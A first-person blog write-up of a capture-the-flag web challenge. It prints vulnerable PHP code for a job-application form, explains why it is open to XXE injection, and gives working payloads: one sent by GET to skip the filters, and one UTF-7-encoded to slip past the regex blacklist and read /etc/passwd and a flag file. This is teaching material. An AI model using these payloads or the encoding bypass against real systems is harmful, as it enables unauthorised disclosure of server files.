Hi guys this is my first blog, i had few thoughts like how should i start my blogging path whether with bug-bounty reports or new arising technology talks or with Vulnerabilities / Attacks. Finally i came with conclusion to start with this amazing CaptureTheFlag challenge i have played.
Without wasting time and let's dive into the blog !!!!
Galaxy :
We can see the webpage which is using PHP language.
Info-gathering :
- As we explored the webpage we can see the Apply now is redirecting to the /careers.PHP
It is leading us to career.PHP page where we have some input fields which we always love to see
When we gave some random characters on each field and i have intercept the request on burp-suite
It is sending the given input as an XML data with POST method on /submit_form.PHP path
Foothold :
FYI : we do have provided with the source code as the part of the challenge - submit_form.PHP
<?php
libxml_disable_entity_loader (false);
$xmlData = file_get_contents("php://input");
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
$xmlData = preg_replace('/<!DOCTYPE[^>]*>/', '', $xmlData);
$xmlData = preg_replace('/<!ENTITY.*?>/', '', $xmlData);
$xmlData = preg_replace('/<!\[CDATA\[.*?\]\]>/s', '', $xmlData);
$xmlData = preg_replace('/<xi:include.*?>/si', '', $xmlData);
$xmlData = preg_replace('/xsi:schemaLocation\s*=\s*[\'"][^\'"]*[\'"]/i', '', $xmlData);
$xmlData = preg_replace('/<!--.*?-->/s', '', $xmlData);
$xmlData = preg_replace('/[^\x09\x0A\x0D\x20-\x7F]/', '', $xmlData);
}
else {
// Only POST requests are accepted";
http_response_code(500);
header('Location: /cheater.php');
}
$doc = new DOMDocument();
$doc->loadXML($xmlData,LIBXML_NOENT);
$xml = simplexml_import_dom($doc);
// extract form data
$firstName = (string) $xml->{"fname"};
$lastName = (string) $xml->{"lname"};
$salary = (string) $xml->{"salary"};
$description = (string) $xml->{"description"};
// response
echo "
<br><br><br>
<div align='center'>
<h1 class='mb-4 text-4xl font-extrabold leading-none tracking-tight text-gray-900 md:text-5xl lg:text-6xl dark:text-white'>We will contact you soon!</h1>
<p class='mb-6 text-lg font-normal text-gray-500 lg:text-xl sm:px-16 xl:px-48 dark:text-gray-400'>
Hey $firstName, Thanks for applying!
</p>
<a href='/' class='inline-flex items-center justify-center px-5 py-3 text-base font-medium text-center text-white bg-blue-700 rounded-lg hover:bg-blue-800 focus:ring-4 focus:ring-blue-300 dark:focus:ring-blue-900'>
Return to Home
<svg class='w-5 h-5 ml-2 -mr-1' fill='currentColor' viewBox='0 0 20 20' xmlns='http://www.w3.org/2000/svg'><path fill-rule='evenodd' d='M10.293 3.293a1 1 0 011.414 0l6 6a1 1 0 010 1.414l-6 6a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-4.293-4.293a1 1 0 010-1.414z' clip-rule='evenodd'></path></svg>
</a>
</div>
<br><br><br>
";
?>
<!-- end handling -->
- By analyzing the code above we can see that it is XXE XML Injection vulnerability and it is reflecting on first-name [fname]
// response
echo "
<br><br><br>
<div align='center'>
<h1 class='mb-4 text-4xl font-extrabold leading-none tracking-tight text-gray-900 md:text-5xl lg:text-6xl dark:text-white'>We will contact you soon!</h1>
<p class='mb-6 text-lg font-normal text-gray-500 lg:text-xl sm:px-16 xl:px-48 dark:text-gray-400'>
Hey $firstName, Thanks for applying!
</p>
<a href='/' class='inline-flex items-center justify-center px-5 py-3 text-base font-medium text-center text-white bg-blue-700 rounded-lg hover:bg-blue-800 focus:ring-4 focus:ring-blue-300 dark:focus:ring-blue-900'>
Return to Home
<svg class='w-5 h-5 ml-2 -mr-1' fill='currentColor' viewBox='0 0 20 20' xmlns='http://www.w3.org/2000/svg'><path fill-rule='evenodd' d='M10.293 3.293a1 1 0 011.414 0l6 6a1 1 0 010 1.414l-6 6a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-4.293-4.293a1 1 0 010-1.414z' clip-rule='evenodd'></path></svg>
</a>
</div>
<br><br><br>
";
BUT ...
- If we tried to give any XXE payload
- It is performing some checks and filtering out the words. If we gave any XXE XML payloads which is having <!DOCTYP[> or <!ENTITY.*?> or it will get filtered out and replaced with null based on below conditions
$xmlData = file_get_contents("php://input");
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
$xmlData = preg_replace('/<!DOCTYPE[^>]*>/', '', $xmlData);
$xmlData = preg_replace('/<!ENTITY.*?>/', '', $xmlData);
$xmlData = preg_replace('/<!\[CDATA\[.*?\]\]>/s', '', $xmlData);
$xmlData = preg_replace('/<xi:include.*?>/si', '', $xmlData);
$xmlData = preg_replace('/xsi:schemaLocation\s*=\s*[\'"][^\'"]*[\'"]/i', '', $xmlData);
$xmlData = preg_replace('/<!--.*?-->/s', '', $xmlData);
$xmlData = preg_replace('/[^\x09\x0A\x0D\x20-\x7F]/', '', $xmlData);
}
Exploitation :
we have two ways to solve this challenge
Intended way :
- Like we analyze the source-code we can see that it only performs check if the request method is POST
if ($_SERVER['REQUEST_METHOD'] == 'POST')
- If we tried to change the request method from POST to GET using burp and give the XXE payload
- As you can see we can able to see the /etc/passwd file content on response side. Also we can get the flag content which is available on /etc/flag
- This is the intended way to solve the challenge
Unintended way (Out-of-box) :
After looking at the code of submit_form.PHP file i got an idea it does perform checks based on the input we are giving on POST method.
Example: if we gave <!DOCTYPE]> it will filter it out to null but what if we inject the same XXE data but this time this will cheat the application bypasses this check
XML Attributes :
This is where Attributes comes to the play we all know there are some attributes on XML XXE payload
- After spending some time on the internet i found one cool method in which we can change this particular attribute and bypass the above checks
<?xml version="1.0" encoding="UTF-8"?>
In above line we can see encoding attribute which will tell the application what encoding we have used on the XML data
What if ? we change the encoding type and encode the XML XXE payload
I have used UTF-7 instead of UTF-8
<?xml version="1.0" encoding="UTF-7"?>
- i have encoded the below normal XXE payload with UTF-7 encoding
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/flag" >]>
<data>
<fname>&xxe;</fname>
<lname>a</lname>
<salary>400</salary>
<description>assas</description>
</data>
using online encoding tool :
Now lets copy that payload and sent it on the repeater
Below is the final payload
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo +AFs
+ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI +AD4AXQA+
+ADw-data+AD4
+ADw-fname+AD4AJg-xxe+ADsAPA-/fname+AD4
+ADw-lname+AD4-a+ADw-/lname+AD4
+ADw-salary+AD4-400+ADw-/salary+AD4
+ADw-description+AD4-assas+ADw-/description+AD4
+ADw-/data+AD4-
- As you can see below we got the file contents of /etc/passwd
- This is unintended way of solving this challenge which i learned a lot exploring for this method
:) Hope you guys like it ....